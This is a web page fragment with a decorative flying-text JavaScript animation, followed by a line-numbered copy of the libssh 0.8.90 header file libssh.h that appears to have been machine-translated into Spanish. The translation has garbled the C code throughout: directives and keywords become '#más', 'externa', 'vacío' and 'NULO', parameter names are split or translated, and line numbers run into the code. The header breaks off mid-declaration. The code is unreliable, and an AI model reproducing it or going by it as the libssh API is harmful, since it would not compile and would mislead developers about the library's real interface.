style='color:#00c4c4; '>    </span> <span style='color:#00c4c4; '>    </body></span> <span style='color:#00c4c4; '></html></span> <span style='color:#00c4c4; '><!-- Juan Angel Luzardo Muslera / montevideo Uruguay --></span> </pre> <!--Created using ToHtml.com on 2020-08-26 03:46:37 UTC --> <h2 id="fly">White flag Juan Angel / Montevideo Uruguay</h2> <script type="text/javascript"> message = document.getElementById("fly").innerHTML; distance = 50; speed = 200; var txt="", num=0, num4=0, flyofle="", flyofwi="", flyofto="", fly=document.getElementById("fly"); function stfly() { for(i=0;i != message.length;i++) { if(message.charAt(i) != "$") txt += "<span style='position:relative;visibility:hidden;' id='n"+i+"'>"+message.charAt(i)+"<\/span>"; else txt += "<br>"; } fly.innerHTML = txt; txt = ""; flyofle = fly.offsetLeft; flyofwi = fly.offsetWidth; flyofto = fly.offsetTop; fly2b(); } function fly2b() { if(num4 != message.length) { if(message.charAt(num4) != "$") { var then = document.getElementById("n" + num4); then.style.left = flyofle - then.offsetLeft + flyofwi / 2 + 'px'; then.style.top = flyofto - then.offsetTop + distance + 'px'; fly3(then.id, parseInt(then.style.left), parseInt(then.style.left) / 5, parseInt(then.style.top), parseInt(then.style.top) / 5); } num4++; setTimeout("fly2b()", speed); } } function fly3(target,lef2,num2,top2,num3) { if((Math.floor(top2) != 0 && Math.floor(top2) != -1) || (Math.floor(lef2) != 0 && Math.floor(lef2) != -1)) { if(lef2 >= 0) lef2 -= num2; else lef2 += num2 * -1; if(Math.floor(lef2) != -1) { document.getElementById(target).style.visibility = "visible"; document.getElementById(target).style.left = Math.floor(lef2) + 'px'; } else { document.getElementById(target).style.visibility = "visible"; document.getElementById(target).style.left = Math.floor(lef2 + 1) + 'px'; } if(lef2 >= 0) top2 -= num3 else top2 += num3 * -1; if(Math.floor(top2) != -1) document.getElementById(target).style.top = Math.floor(top2) + 'px'; else document.getElementById(target).style.top = Math.floor(top2 + 1) + 'px'; setTimeout("fly3('"+target+"',"+lef2+","+num2+","+top2+","+num3+")",50) } } stfly() </script> <h2>LIBRARY SSH</h2> <strong><h1>libssh 0.8.90</h1></strong><br /> <p> <button><li>La biblioteca SSH</li></button> <button><i>PAGINA PRINCIPAL</li></button> <button><li>PÁGINAS RELACIONADAS</li></button> <button><li>M�"DULOS</li></button> <button><li>ESTRUCTURAS DE DATOS</li></button> <button><li>ARCHIVOS</li></button> </p> <ul> <button><h3> incluir </h3></button> <button><h3> libssh </h3></button> <button><h3> libssh.h </h3></button> <br /> </ul> <small>Esta biblioteca es software gratuito; puedes redistribuirlo y / o 7 * modificarlo según los términos del GNU Lesser General Public 8 * Licencia publicada por la Free Software Foundation; ya sea 9 * versión 2.1 de la Licencia, o (a su elección) cualquier versión posterior. 10 * 11 * Esta biblioteca se distribuye con la esperanza de que sea útil, 12 * pero SIN NINGUNA GARANTÍA; sin siquiera la garantía implícita de 21 #ifndef _LIBSSH_H 22 #define _LIBSSH_H 23 24 #si está definido _WIN32 || definido __CYGWIN__ 25 #ifdef LIBSSH_STATIC 26 #define LIBSSH_API 27 #más 28 #ifdef LIBSSH_EXPORTS 29 #ifdef __GNUC__ 30 #define LIBSSH_API __attribute __ ((dllexport)) 31 #más 32 #define LIBSSH_API __declspec (dllexport) 33 #endif 34 #más 35 #ifdef __GNUC__ 36 #define LIBSSH_API __attribute __ ((dllimport)) 37 #más 38 #define LIBSSH_API __declspec (dllimport) 39 #endif 40 #endif 41 #endif 42 #más 43 #if __GNUC__> = 4 &&! Definido (__ OS2__) 44 #define LIBSSH_API __attribute __ ((visibilidad ("predeterminado"))) 45 #más 46 #define LIBSSH_API 47 #endif 48 #endif 49 50 #ifdef _MSC_VER 51 / * Visual Studio no tiene inttypes.h así que no conoce uint32_t * / 52 typedef int int32_t; 53 typedef unsigned int uint32_t; 54 typedef unsigned short uint16_t; 55 typedef unsigned char uint8_t; 56 typedef unsigned long long uint64_t; 57 typedef int mode_t; 58 #else / * _MSC_VER * / 59 #include <unistd.h> 60 #include <inttypes.h> 61 #include <sys / types.h> 62 #endif / * _MSC_VER * / 63 64 #ifdef _WIN32 65 #include <winsock2.h> 66 #else / * _WIN32 * / 67 #include <sys / select.h> / * para fd_set * * / 68 #include <netdb.h> 69 #endif / * _WIN32 * / 70 71 #define SSH_STRINGIFY (s) SSH_TOSTRING (s) 72 #define SSH_TOSTRING (s) #s 73 74 / * macros de versión libssh * / 75 #define SSH_VERSION_INT (a, b, c) ((a) << 16 | (b) << 8 | (c)) 76 #define SSH_VERSION_DOT (a, b, c) a ##. ## b ##. ## c 77 #define SSH_VERSION (a, b, c) SSH_VERSION_DOT (a, b, c) 78 79 / * versión libssh * / 80 #define LIBSSH_VERSION_MAJOR 0 81 #define LIBSSH_VERSION_MINOR 8 82 #define LIBSSH_VERSION_MICRO 90 83 84 #define LIBSSH_VERSION_INT SSH_VERSION_INT (LIBSSH_VERSION_MAJOR, \ 85 LIBSSH_VERSION_MINOR, \ 86 LIBSSH_VERSION_MICRO) 87 #define LIBSSH_VERSION SSH_VERSION (LIBSSH_VERSION_MAJOR, \ 88 LIBSSH_VERSION_MINOR, \ 89 LIBSSH_VERSION_MICRO) 90 91 / * GCC tiene verificación de atributo de tipo printf. * / 92 #ifdef __GNUC__ 93 #define PRINTF_ATTRIBUTE (a, b) __attribute__ ((__format__ (__printf__, a, b))) 94 #más 95 #define PRINTF_ATTRIBUTE (a, b) 96 #endif / * __GNUC__ * / 97 98 #ifdef __GNUC__ 99 #define SSH_DEPRECATED __attribute__ ((obsoleto)) 100 #más 101 #define SSH_DEPRECATED 102 #endif 103 104 #ifdef __cplusplus 105 externa "C" { 106 #endif 107 108 struct ssh_counter_struct { 109 uint64_t in_bytes; 110 uint64_t out_bytes; 111 uint64_t in_packets; 112 uint64_t out_packets; 113 }; 114 typedef struct ssh_counter_struct * ssh_counter ; 115 116 typedef struct ssh_agent_struct * ssh_agent ; 117 typedef struct ssh_buffer_struct * ssh_buffer ; 118 typedef struct ssh_channel_struct * ssh_channel ; 119 typedef struct ssh_message_struct * ssh_message ; 120 typedef struct ssh_pcap_file_struct * ssh_pcap_file; 121 typedef struct ssh_key_struct * ssh_key ; 122 typedef struct ssh_scp_struct * ssh_scp ; 123 typedef struct ssh_session_struct * ssh_session ; 124 typedef struct ssh_string_struct * ssh_string ; 125 typedef struct ssh_event_struct * ssh_event ; 126 typedef struct ssh_connector_struct * ssh_connector ; 127 typedef void * ssh_gssapi_creds; 128 129 / * Tipo de enchufe * / 130 #ifdef _WIN32 131 #ifndef socket_t 132 typedef SOCKET socket_t; 133 #endif / * socket_t * / 134 #else / * _WIN32 * / 135 #ifndef socket_t 136 typedef int socket_t; 137 #endif 138 #endif / * _WIN32 * / 139 140 #define SSH_INVALID_SOCKET ((socket_t) -1) 141 142 / * las compensaciones de los métodos * / 143 enum ssh_kex_types_e { 144 SSH_KEX = 0, 145 SSH_HOSTKEYS, 146 SSH_CRYPT_C_S, 147 SSH_CRYPT_S_C, 148 SSH_MAC_C_S, 149 SSH_MAC_S_C, 150 SSH_COMP_C_S, 151 SSH_COMP_S_C, 152 SSH_LANG_C_S, 153 SSH_LANG_S_C 154 }; 155 156 #define SSH_CRYPT 2 157 #define SSH_MAC 3 158 #define SSH_COMP 4 159 #define SSH_LANG 5 160 161 enum ssh_auth_e { 162 SSH_AUTH_SUCCESS = 0, 163 SSH_AUTH_DENIED, 164 SSH_AUTH_PARTIAL, 165 SSH_AUTH_INFO, 166 SSH_AUTH_AGAIN, 167 SSH_AUTH_ERROR = -1 168 }; 169 170 / * banderas de autenticación * / 171 #define SSH_AUTH_METHOD_UNKNOWN 0 172 #define SSH_AUTH_METHOD_NONE 0x0001 173 #define SSH_AUTH_METHOD_PASSWORD 0x0002 174 #define SSH_AUTH_METHOD_PUBLICKEY 0x0004 175 #define SSH_AUTH_METHOD_HOSTBASED 0x0008 176 #define SSH_AUTH_METHOD_INTERACTIVE 0x0010 177 #define SSH_AUTH_METHOD_GSSAPI_MIC 0x0020 178 179 / * mensajes * / 180 enum ssh_requests_e { 181 SSH_REQUEST_AUTH = 1, 182 SSH_REQUEST_CHANNEL_OPEN, 183 SSH_REQUEST_CHANNEL, 184 SSH_REQUEST_SERVICE, 185 SSH_REQUEST_GLOBAL 186 }; 187 188 enum ssh_channel_type_e { 189 SSH_CHANNEL_UNKNOWN = 0, 190 SSH_CHANNEL_SESSION, 191 SSH_CHANNEL_DIRECT_TCPIP, 192 SSH_CHANNEL_FORWARDED_TCPIP, 193 SSH_CHANNEL_X11, 194 SSH_CHANNEL_AUTH_AGENT 195 }; 196 197 enum ssh_channel_requests_e { 198 SSH_CHANNEL_REQUEST_UNKNOWN = 0, 199 SSH_CHANNEL_REQUEST_PTY, 200 SSH_CHANNEL_REQUEST_EXEC, 201 SSH_CHANNEL_REQUEST_SHELL, 202 SSH_CHANNEL_REQUEST_ENV, 203 SSH_CHANNEL_REQUEST_SUBSYSTEM, 204 SSH_CHANNEL_REQUEST_WINDOW_CHANGE, 205 SSH_CHANNEL_REQUEST_X11 206 }; 207 208 enum ssh_global_requests_e { 209 SSH_GLOBAL_REQUEST_UNKNOWN = 0, 210 SSH_GLOBAL_REQUEST_TCPIP_FORWARD, 211 SSH_GLOBAL_REQUEST_CANCEL_TCPIP_FORWARD, 212 SSH_GLOBAL_REQUEST_KEEPALIVE 213 }; 214 215 enum ssh_publickey_state_e { 216 SSH_PUBLICKEY_STATE_ERROR = -1, 217 SSH_PUBLICKEY_STATE_NONE = 0, 218 SSH_PUBLICKEY_STATE_VALID = 1, 219 SSH_PUBLICKEY_STATE_WRONG = 2 220 }; 221 222 / * Indicadores de estado * / 224 #define SSH_CLOSED 0x01 225 226 #define SSH_READ_PENDING 0x02 227 228 #define SSH_CLOSED_ERROR 0x04 229 230 #define SSH_WRITE_PENDING 0x08 231 232 enum ssh_server_known_e { 233 SSH_SERVER_ERROR = -1, 234 SSH_SERVER_NOT_KNOWN = 0, 235 SSH_SERVER_KNOWN_OK, 236 SSH_SERVER_KNOWN_CHANGED, 237 SSH_SERVER_FOUND_OTHER, 238 SSH_SERVER_FILE_NOT_FOUND 239 }; 240 241 enum ssh_known_hosts_e { 245 SSH_KNOWN_HOSTS_ERROR = -2, 246 251 SSH_KNOWN_HOSTS_NOT_FOUND = -1, 252 257 SSH_KNOWN_HOSTS_UNKNOWN = 0, 258 262 SSH_KNOWN_HOSTS_OK, 263 269 SSH_KNOWN_HOSTS_CHANGED, 270 275 SSH_KNOWN_HOSTS_OTHER, 276 }; 277 278 #ifndef MD5_DIGEST_LEN 279 #define MD5_DIGEST_LEN 16 280 #endif 281 / * errores * / 282 283 enum ssh_error_types_e { 284 SSH_NO_ERROR = 0, 285 SSH_REQUEST_DENIED, 286 SSH_FATAL, 287 SSH_EINTR 288 }; 289 290 / * algunos tipos de claves * / 291 enum ssh_keytypes_e { 292 SSH_KEYTYPE_UNKNOWN = 0, 293 SSH_KEYTYPE_DSS = 1, 294 SSH_KEYTYPE_RSA, 295 SSH_KEYTYPE_RSA1, 296 SSH_KEYTYPE_ECDSA, 297 SSH_KEYTYPE_ED25519, 298 SSH_KEYTYPE_DSS_CERT01, 299 SSH_KEYTYPE_RSA_CERT01 300 }; 301 302 enum ssh_keycmp_e { 303 SSH_KEY_CMP_PUBLIC = 0, 304 SSH_KEY_CMP_PRIVATE 305 }; 306 307 #define SSH_ADDRSTRLEN 46 308 309 struct ssh_knownhosts_entry { 310 char * nombre de host; 311 char * sin analizar; 312 ssh_key publickey; 313 char * comentario; 314 }; 315 316 317 / * Códigos de retorno de error * / 318 #define SSH_OK 0 / * Sin error * / 319 #define SSH_ERROR -1 / * Error de algún tipo * / 320 #define SSH_AGAIN -2 / * La llamada sin bloqueo debe repetirse * / 321 #define SSH_EOF -127 / * Ya tenemos un eof * / 322 329 enum { 332 SSH_LOG_NOLOG = 0, 335 SSH_LOG_WARNING , 338 SSH_LOG_PROTOCOL , 341 SSH_LOG_PACKET , 344 SSH_LOG_FUNCTIONS 345 }; 347 #define SSH_LOG_RARE SSH_LOG_WARNING 348 357 #define SSH_LOG_NONE 0 358 359 #define SSH_LOG_WARN 1 360 361 #define SSH_LOG_INFO 2 362 363 #define SSH_LOG_DEBUG 3 364 365 #define SSH_LOG_TRACE 4 366 369 enum ssh_options_e { 370 SSH_OPTIONS_HOST, 371 SSH_OPTIONS_PORT, 372 SSH_OPTIONS_PORT_STR, 373 SSH_OPTIONS_FD, 374 SSH_OPTIONS_USER, 375 SSH_OPTIONS_SSH_DIR, 376 SSH_OPTIONS_IDENTITY, 377 SSH_OPTIONS_ADD_IDENTITY, 378 SSH_OPTIONS_KNOWNHOSTS, 379 SSH_OPTIONS_TIMEOUT, 380 SSH_OPTIONS_TIMEOUT_USEC, 381 SSH_OPTIONS_SSH1, 382 SSH_OPTIONS_SSH2, 383 SSH_OPTIONS_LOG_VERBOSITY, 384 SSH_OPTIONS_LOG_VERBOSITY_STR, 385 SSH_OPTIONS_CIPHERS_C_S, 386 SSH_OPTIONS_CIPHERS_S_C, 387 SSH_OPTIONS_COMPRESSION_C_S, 388 SSH_OPTIONS_COMPRESSION_S_C, 389 SSH_OPTIONS_PROXYCOMMAND, 390 SSH_OPTIONS_BINDADDR, 391 SSH_OPTIONS_STRICTHOSTKEYCHECK, 392 SSH_OPTIONS_COMPRESSION, 393 SSH_OPTIONS_COMPRESSION_LEVEL, 394 SSH_OPTIONS_KEY_EXCHANGE, 395 SSH_OPTIONS_HOSTKEYS, 396 SSH_OPTIONS_GSSAPI_SERVER_IDENTITY, 397 SSH_OPTIONS_GSSAPI_CLIENT_IDENTITY, 398 SSH_OPTIONS_GSSAPI_DELEGATE_CREDENTIALS, 399 SSH_OPTIONS_HMAC_C_S, 400 SSH_OPTIONS_HMAC_S_C, 401 SSH_OPTIONS_PASSWORD_AUTH, 402 SSH_OPTIONS_PUBKEY_AUTH, 403 SSH_OPTIONS_KBDINT_AUTH, 404 SSH_OPTIONS_GSSAPI_AUTH, 405 SSH_OPTIONS_GLOBAL_KNOWNHOSTS, 406 SSH_OPTIONS_NODELAY, 407 SSH_OPTIONS_PUBLICKEY_ACCEPTED_TYPES, 408 SSH_OPTIONS_PROCESS_CONFIG, 409 SSH_OPTIONS_REKEY_DATA, 410 SSH_OPTIONS_REKEY_TIME, 411 }; 412 413 enum { 415 SSH_SCP_WRITE, 417 SSH_SCP_READ, 418 SSH_SCP_RECURSIVE = 0x10 419 }; 420 421 enum ssh_scp_request_types { 423 SSH_SCP_REQUEST_NEWDIR = 1, 425 SSH_SCP_REQUEST_NEWFILE, 427 SSH_SCP_REQUEST_EOF, 429 SSH_SCP_REQUEST_ENDDIR, 431 SSH_SCP_REQUEST_WARNING 432 }; 433 434 enum ssh_connector_flags_e { 436 SSH_CONNECTOR_STDOUT = 1, 438 SSH_CONNECTOR_STDERR = 2, 440 SSH_CONNECTOR_BOTH = 3 441 }; 442 443 LIBSSH_API int ssh_blocking_flush ( sesión ssh_session , int timeout); 444 LIBSSH_API ssh_channel ssh_channel_accept_x11 ( canal ssh_channel , int timeout_ms); 445 LIBSSH_API int ssh_channel_change_pty_size ( canal ssh_channel , int cols, int filas); 446 LIBSSH_API int ssh_channel_close ( canal ssh_channel ); 447 LIBSSH_API void ssh_channel_free ( canal ssh_channel ); 448 LIBSSH_API int ssh_channel_get_exit_status ( canal ssh_channel ); 449 LIBSSH_API ssh_session ssh_channel_get_session ( canal ssh_channel ); 450 LIBSSH_API int ssh_channel_is_closed ( canal ssh_channel ); 451 LIBSSH_API int ssh_channel_is_eof ( canal ssh_channel ); 452 LIBSSH_API int ssh_channel_is_open ( canal ssh_channel ); 453 LIBSSH_API ssh_channel ssh_channel_new ( sesión ssh_session ); 454 LIBSSH_API int ssh_channel_open_auth_agent ( canal ssh_channel ); 455 LIBSSH_API int ssh_channel_open_forward ( canal ssh_channel , const char * host remoto, 456 int puerto remoto, const char * sourcehost, int localport); 457 LIBSSH_API int ssh_channel_open_session ( canal ssh_channel ); 458 LIBSSH_API int ssh_channel_open_x11 ( canal ssh_channel , const char * orig_addr, int orig_port); 459 LIBSSH_API int ssh_channel_poll ( canal ssh_channel , int is_stderr); 460 LIBSSH_API int ssh_channel_poll_timeout ( canal ssh_channel , int timeout, int is_stderr); 461 LIBSSH_API int ssh_channel_read ( canal ssh_channel , void * dest, uint32_t count, int is_stderr); 462 LIBSSH_API int ssh_channel_read_timeout ( ssh_channel channel, void * dest, uint32_t count, int is_stderr, int timeout_ms); 463 LIBSSH_API int ssh_channel_read_nonblocking ( canal ssh_channel , void * dest, uint32_t count, 464 int is_stderr); 465 LIBSSH_API int ssh_channel_request_env ( canal ssh_channel , const char * nombre, const char * valor); 466 LIBSSH_API int ssh_channel_request_exec ( canal ssh_channel , const char * cmd); 467 LIBSSH_API int ssh_channel_request_pty ( canal ssh_channel ); 468 LIBSSH_API int ssh_channel_request_pty_size ( canal ssh_channel , const char * term, 469 int cols, int filas); 470 LIBSSH_API int ssh_channel_request_shell ( canal ssh_channel ); 471 LIBSSH_API int ssh_channel_request_send_signal ( canal ssh_channel , const char * signum); 472 LIBSSH_API int ssh_channel_request_send_break ( ssh_channel canal, longitud uint32_t); 473 LIBSSH_API int ssh_channel_request_sftp ( canal ssh_channel ); 474 LIBSSH_API int ssh_channel_request_subsystem ( canal ssh_channel , const char * subsistema); 475 LIBSSH_API int ssh_channel_request_x11 ( canal ssh_channel , int single_connection, const char * protocolo, 476 const char * cookie, int número_pantalla); 477 LIBSSH_API int ssh_channel_request_auth_agent ( canal ssh_channel ); 478 LIBSSH_API int ssh_channel_send_eof ( canal ssh_channel ); 479 LIBSSH_API int ssh_channel_select ( ssh_channel * readchans, ssh_channel * writechans, ssh_channel * exceptchans, struct 480 timeval * tiempo de espera); 481 LIBSSH_API void ssh_channel_set_blocking ( canal ssh_channel , bloqueo int ); 482 LIBSSH_API void ssh_channel_set_counter ( canal ssh_channel , 483 contador ssh_counter ); 484 LIBSSH_API int ssh_channel_write ( canal ssh_channel , const void * datos, uint32_t len); 485 LIBSSH_API int ssh_channel_write_stderr ( canal ssh_channel , 486 const void * datos, 487 uint32_t len); 488 LIBSSH_API uint32_t ssh_channel_window_size ( canal ssh_channel ); 489 490 LIBSSH_API char * ssh_basename ( const char * ruta); 491 LIBSSH_API void ssh_clean_pubkey_hash ( carácter sin firmar ** hash); 492 LIBSSH_API int ssh_connect ( sesión ssh_session ); 493 494 LIBSSH_API ssh_connector ssh_connector_new ( sesión ssh_session ); 495 LIBSSH_API void ssh_connector_free ( conector ssh_connector ); 496 LIBSSH_API int ssh_connector_set_in_channel ( conector ssh_connector , 497 canal ssh_channel , 498 enum ssh_connector_flags_e banderas); 499 LIBSSH_API int ssh_connector_set_out_channel ( conector ssh_connector , 500 canal ssh_channel , 501 enum ssh_connector_flags_e flags); 502 LIBSSH_API void ssh_connector_set_in_fd ( ssh_connector conector, fd socket_t); 503 LIBSSH_API vacío ssh_connector_set_out_fd ( ssh_connector conector, fd socket_t); 504 505 LIBSSH_API const char * ssh_copyright ( void ); 506 LIBSSH_API void ssh_disconnect ( sesión ssh_session ); 507 LIBSSH_API char * ssh_dirname ( const char * ruta); 508 LIBSSH_API int ssh_finalize ( void ); 509 510 / * REENVÍO DE PUERTO INVERSO * / 511 LIBSSH_API ssh_channel ssh_channel_accept_forward ( sesión ssh_session , 512 int timeout_ms, 513 int * puerto_destino); 514 LIBSSH_API int ssh_channel_cancel_forward ( sesión ssh_session , 515 const char * dirección, 516 int puerto); 517 LIBSSH_API int ssh_channel_listen_forward ( sesión ssh_session , 518 const char * dirección, 519 puerto internacional , 520 int * puerto_delimitado); 521 522 LIBSSH_API void ssh_free ( sesión ssh_session ); 523 LIBSSH_API const char * ssh_get_disconnect_message ( sesión ssh_session ); 524 LIBSSH_API const char * ssh_get_error ( void * error); 525 LIBSSH_API int ssh_get_error_code ( void * error); 526 LIBSSH_API socket_t ssh_get_fd ( sesión ssh_session ); 527 LIBSSH_API char * ssh_get_hexa ( const unsigned char * what, size_t len); 528 LIBSSH_API char * ssh_get_issue_banner ( sesión ssh_session ); 529 LIBSSH_API int ssh_get_openssh_version ( sesión ssh_session ); 530 531 LIBSSH_API int ssh_get_server_publickey ( ssh_session sesión, clave ssh tecla *); 532 533 enum ssh_publickey_hash_type { 534 SSH_PUBLICKEY_HASH_SHA1, 535 SSH_PUBLICKEY_HASH_MD5, 536 SSH_PUBLICKEY_HASH_SHA256 537 }; 538 LIBSSH_API int ssh_get_publickey_hash ( clave const ssh_key , 539 enum ssh_publickey_hash_type type, 540 char ** hash sin firmar , 541 size_t * HLEN); 542 543 / * FUNCIONES ANULADAS * / 544 SSH_DEPRECATED LIBSSH_API int ssh_get_pubkey_hash ( sesión ssh_session , carácter sin firmar ** hash); 545 SSH_DEPRECATED LIBSSH_API ssh_channel ssh_forward_accept ( sesión ssh_session , int timeout_ms); 546 SSH_DEPRECATED LIBSSH_API int ssh_forward_cancel ( sesión ssh_session , const char * dirección, int puerto); 547 SSH_DEPRECATED LIBSSH_API int ssh_forward_listen ( sesión ssh_session , const char * dirección, int puerto, int * bound_port); 548 SSH_DEPRECATED LIBSSH_API int ssh_get_publickey ( ssh_session sesión, clave ssh tecla *); 549 SSH_DEPRECATED LIBSSH_API int ssh_write_knownhost ( sesión ssh_session ); 550 SSH_DEPRECATED LIBSSH_API char * ssh_dump_knownhost ( sesión ssh_session ); 551 SSH_DEPRECATED LIBSSH_API int ssh_is_server_known ( sesión ssh_session ); 552 SSH_DEPRECATED LIBSSH_API void ssh_print_hexa ( const char * descr, const unsigned char * what, size_t len); 553 554 555 556 LIBSSH_API int ssh_get_random ( void * donde, int len, int fuerte); 557 LIBSSH_API int ssh_get_version ( sesión ssh_session ); 558 LIBSSH_API int ssh_get_status ( sesión ssh_session ); 559 LIBSSH_API int ssh_get_poll_flags ( sesión ssh_session ); 560 LIBSSH_API int ssh_init ( vacío ); 561 LIBSSH_API int ssh_is_blocking ( sesión ssh_session ); 562 LIBSSH_API int ssh_is_connected ( sesión ssh_session ); 563 564 / * HOSTS CONOCIDOS * / 565 LIBSSH_API void ssh_knownhosts_entry_free ( struct ssh_knownhosts_entry * entrada); 566 #define SSH_KNOWNHOSTS_ENTRY_FREE (e) do {\ 567 si ((e)! = NULO) {\ 568 ssh_knownhosts_entry_free (e); \ 569 e = NULO; \ 570 } \ 571 } mientras (0) 572 573 LIBSSH_API int ssh_known_hosts_parse_line ( const char * host, 574 const char * línea, 575 entrada struct ssh_knownhosts_entry **); 576 LIBSSH_API enumeración ssh_known_hosts_e ssh_session_has_known_hosts_entry ( sesión ssh_session ); 577 578 LIBSSH_API int ssh_session_export_known_hosts_entry ( sesión ssh_session , 579 Char ** pentry_string); 580 LIBSSH_API int ssh_session_update_known_hosts ( sesión ssh_session ); 581 582 LIBSSH_API enumeración ssh_known_hosts_e 583 ssh_session_get_known_hosts_entry ( sesión ssh_session , 584 struct ssh_knownhosts_entry ** pentry); 585 LIBSSH_API enumeración ssh_known_hosts_e ssh_session_is_known_server ( sesión ssh_session ); 586 587 / * REGISTRO * / 588 LIBSSH_API int ssh_set_log_level ( nivel int ); 589 LIBSSH_API int ssh_get_log_level ( void ); 590 LIBSSH_API void * ssh_get_log_userdata ( void ); 591 LIBSSH_API int ssh_set_log_userdata ( void * datos); 592 LIBSSH_API void _ssh_log ( int verbosidad, 593 const char * función , 594 const char * formato, ...) PRINTF_ATTRIBUTE (3, 4); 595 596 / * legado * / 597 SSH_DEPRECATED LIBSSH_API void ssh_log ( sesión ssh_session , 598 int prioridad, 599 const char * formato, ...) PRINTF_ATTRIBUTE (3, 4); 600 601 LIBSSH_API ssh_channel ssh_message_channel_request_open_reply_accept ( ssh_message msg); 602 LIBSSH_API int ssh_message_channel_request_reply_success ( ssh_message msg); 603 #define SSH_MESSAGE_FREE (x) \ 604 hacer {if ((x)! = NULL) {ssh_message_free (x); (x) = NULO; }} mientras (0) 605 LIBSSH_API void ssh_message_free ( ssh_message msg); 606 LIBSSH_API ssh_message ssh_message_get ( sesión ssh_session ); 607 LIBSSH_API int ssh_message_subtype ( ssh_message msg); 608 LIBSSH_API int ssh_message_type ( ssh_message msg); 609 LIBSSH_API int ssh_mkdir ( const char * nombre de ruta, modo_t); 610 LIBSSH_API ssh_session ssh_new(void); 611 612 LIBSSH_API int ssh_options_copy(ssh_session src, ssh_session *dest); 613 LIBSSH_API int ssh_options_getopt(ssh_session session, int *argcptr, char **argv); 614 LIBSSH_API int ssh_options_parse_config(ssh_session session, const char *filename); 615 LIBSSH_API int ssh_options_set(ssh_session session, enum ssh_options_e type, 616 const void *value); 617 LIBSSH_API int ssh_options_get(ssh_session session, enum ssh_options_e type, 618 char **value); 619 LIBSSH_API int ssh_options_get_port(ssh_session session, unsigned int * port_target); 620 LIBSSH_API int ssh_pcap_file_close(ssh_pcap_file pcap); 621 LIBSSH_API void ssh_pcap_file_free(ssh_pcap_file pcap); 622 LIBSSH_API ssh_pcap_file ssh_pcap_file_new(void); 623 LIBSSH_API int ssh_pcap_file_open(ssh_pcap_file pcap, const char *filename); 624 638 typedef int (*ssh_auth_callback) (const char *prompt, char *buf, size_t len, 639 int echo, int verify, void *userdata); 640 641 LIBSSH_API ssh_key ssh_key_new(void); 642 #define SSH_KEY_FREE(x) \ 643 do { if ((x) != NULL) { ssh_key_free(x); x = NULL; } } while(0) 644 LIBSSH_API void ssh_key_free (ssh_key key); 645 LIBSSH_API enum ssh_keytypes_e ssh_key_type(const ssh_key key); 646 LIBSSH_API const char *ssh_key_type_to_char(enum ssh_keytypes_e type); 647 LIBSSH_API enum ssh_keytypes_e ssh_key_type_from_name(const char *name); 648 LIBSSH_API int ssh_key_is_public(const ssh_key k); 649 LIBSSH_API int ssh_key_is_private(const ssh_key k); 650 LIBSSH_API int ssh_key_cmp(const ssh_key k1, 651 const ssh_key k2, 652 enum ssh_keycmp_e what); 653 654 LIBSSH_API int ssh_pki_generate(enum ssh_keytypes_e type, int parameter, 655 ssh_key *pkey); 656 LIBSSH_API int ssh_pki_import_privkey_base64(const char *b64_key, 657 const char *passphrase, 658 ssh_auth_callback auth_fn, 659 void *auth_data, 660 ssh_key *pkey); 661 LIBSSH_API int ssh_pki_export_privkey_base64(const ssh_key privkey, 662 const char *passphrase, 663 ssh_auth_callback auth_fn, 664 void *auth_data, 665 char **b64_key); 666 LIBSSH_API int ssh_pki_import_privkey_file(const char *filename, 667 const char *passphrase, 668 ssh_auth_callback auth_fn, 669 void *auth_data, 670 ssh_key *pkey); 671 LIBSSH_API int ssh_pki_export_privkey_file(const ssh_key privkey, 672 const char *passphrase, 673 ssh_auth_callback auth_fn, 674 void *auth_data, 675 const char *filename); 676 677 LIBSSH_API int ssh_pki_copy_cert_to_privkey(const ssh_key cert_key, 678 ssh_key privkey); 679 680 LIBSSH_API int ssh_pki_import_pubkey_base64(const char *b64_key, 681 enum ssh_keytypes_e type, 682 ssh_key *pkey); 683 LIBSSH_API int ssh_pki_import_pubkey_file(const char *filename, 684 ssh_key *pkey); 685 686 LIBSSH_API int ssh_pki_import_cert_base64(const char *b64_cert, 687 enum ssh_keytypes_e type, 688 ssh_key *pkey); 689 LIBSSH_API int ssh_pki_import_cert_file(const char *filename, 690 ssh_key *pkey); 691 692 LIBSSH_API int ssh_pki_export_privkey_to_pubkey(const ssh_key privkey, 693 ssh_key *pkey); 694 LIBSSH_API int ssh_pki_export_pubkey_base64(const ssh_key key, 695 char **b64_key); 696 LIBSSH_API int ssh_pki_export_pubkey_file(const ssh_key key, 697 const char *filename); 698 699 LIBSSH_API const char *ssh_pki_key_ecdsa_name(const ssh_key key); 700 701 LIBSSH_API char *ssh_get_fingerprint_hash(enum ssh_publickey_hash_type type, 702 unsigned char *hash, 703 size_t len); 704 LIBSSH_API void ssh_print_hash (enum ssh_publickey_hash_type type, unsigned char *hash, size_t len); 705 LIBSSH_API int ssh_send_ignore (ssh_session session, const char *data); 706 LIBSSH_API int ssh_send_debug (ssh_session session, const char *message, int always_display); 707 LIBSSH_API void ssh_gssapi_set_creds(ssh_session session, const ssh_gssapi_creds creds); 708 LIBSSH_API int ssh_scp_accept_request(ssh_scp scp); 709 LIBSSH_API int ssh_scp_close(ssh_scp scp); 710 LIBSSH_API int ssh_scp_deny_request(ssh_scp scp, const char *reason); 711 LIBSSH_API void ssh_scp_free(ssh_scp scp); 712 LIBSSH_API int ssh_scp_init(ssh_scp scp); 713 LIBSSH_API int ssh_scp_leave_directory(ssh_scp scp); 714 LIBSSH_API ssh_scp ssh_scp_new(ssh_session session, int mode, const char *location); 715 LIBSSH_API int ssh_scp_pull_request(ssh_scp scp); 716 LIBSSH_API int ssh_scp_push_directory(ssh_scp scp, const char *dirname, int mode); 717 LIBSSH_API int ssh_scp_push_file(ssh_scp scp, const char *filename, size_t size, int perms); 718 LIBSSH_API int ssh_scp_push_file64(ssh_scp scp, const char *filename, uint64_t size, int perms); 719 LIBSSH_API int ssh_scp_read(ssh_scp scp, void *buffer, size_t size); 720 LIBSSH_API const char *ssh_scp_request_get_filename(ssh_scp scp); 721 LIBSSH_API int ssh_scp_request_get_permissions(ssh_scp scp); 722 LIBSSH_API size_t ssh_scp_request_get_size(ssh_scp scp); 723 LIBSSH_API uint64_t ssh_scp_request_get_size64(ssh_scp scp); 724 LIBSSH_API const char *ssh_scp_request_get_warning(ssh_scp scp); 725 LIBSSH_API int ssh_scp_write(ssh_scp scp, const void *buffer, size_t len); 726 LIBSSH_API int ssh_select(ssh_channel *channels, ssh_channel *outchannels, socket_t maxfd, 727 fd_set *readfds, struct timeval *timeout); 728 LIBSSH_API int ssh_service_request(ssh_session session, const char *service); 729 LIBSSH_API int 